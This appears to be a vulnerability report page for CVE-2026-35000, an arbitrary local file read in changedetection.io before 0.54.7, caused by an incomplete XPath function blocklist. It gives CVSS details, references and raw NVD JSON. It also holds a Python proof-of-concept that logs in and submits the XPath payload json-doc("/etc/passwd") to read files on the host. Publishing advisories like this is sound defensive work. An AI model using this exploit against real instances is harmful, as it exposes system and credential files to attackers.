Security Vulnerability Report
中文
CVE-2026-35000 CVSS 6.5 MEDIUM

CVE-2026-35000

Published: 2026-04-01 19:16:34
Last Modified: 2026-04-21 00:15:48

Description

ChangeDetection.io versions prior to 0.54.7 contain a protection bypass vulnerability in the SafeXPath3Parser implementation that allows attackers to read arbitrary local files by using unblocked XPath 3.0/3.1 functions such as json-doc() and similar file-access primitives. Attackers can exploit the incomplete blocklist of dangerous XPath functions to access sensitive data from the local filesystem.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:webtechnologies:changedetection:*:*:*:*:*:*:*:* - VULNERABLE
changedetection.io < 0.54.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-35000: changedetection.io Arbitrary File Read # Description: This script demonstrates how to bypass SafeXPath3Parser # using the json-doc() function to read local files. import requests import json # Configuration TARGET_URL = "http://localhost:5000" USERNAME = "admin" PASSWORD = "password" # Login to get session session = requests.Session() login_payload = {"username": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/login", data=login_payload) # The malicious XPath payload using json-doc() to read /etc/passwd # Note: The file path can be changed to any file on the system malicious_xpath = 'json-doc("/etc/passwd")' # Prepare the watch request with the malicious XPath watch_data = { "url": "http://example.com", # A valid URL to monitor "title": "PoC Test", "xpath": malicious_xpath } # Send the request to create/update a watch headers = {"Content-Type": "application/json"} response = session.post(f"{TARGET_URL}/api/v1/watch/add", data=json.dumps(watch_data), headers=headers) if response.status_code == 200: print("[+] Watch created/updated successfully. Triggering a check...") # Trigger a check immediately to execute the XPath check_resp = session.get(f"{TARGET_URL}/api/v1/watch/{json.loads(response.text)['uuid']}/checknow") print("[+] Check triggered. Inspect the watch result page or logs for file content.") else: print("[-] Failed to create watch.") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35000", "sourceIdentifier": "[email protected]", "published": "2026-04-01T19:16:33.750", "lastModified": "2026-04-21T00:15:47.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChangeDetection.io versions prior to 0.54.7 contain a protection bypass vulnerability in the SafeXPath3Parser implementation that allows attackers to read arbitrary local files by using unblocked XPath 3.0/3.1 functions such as json-doc() and similar file-access primitives. Attackers can exploit the incomplete blocklist of dangerous XPath functions to access sensitive data from the local filesystem."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webtechnologies:changedetection:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.54.7", "matchCriteriaId": "70788C7C-32F4-4483-A7F7-83D5DC9D1C6A"}]}]}], "references": [{"url": "https://github.com/dgtlmoon/changedetection.io/commit/dadc804567a51f803cd6715f7885c11a247915f6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/changedetection-io-safexpath3parser-bypass-arbitrary-file-read", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}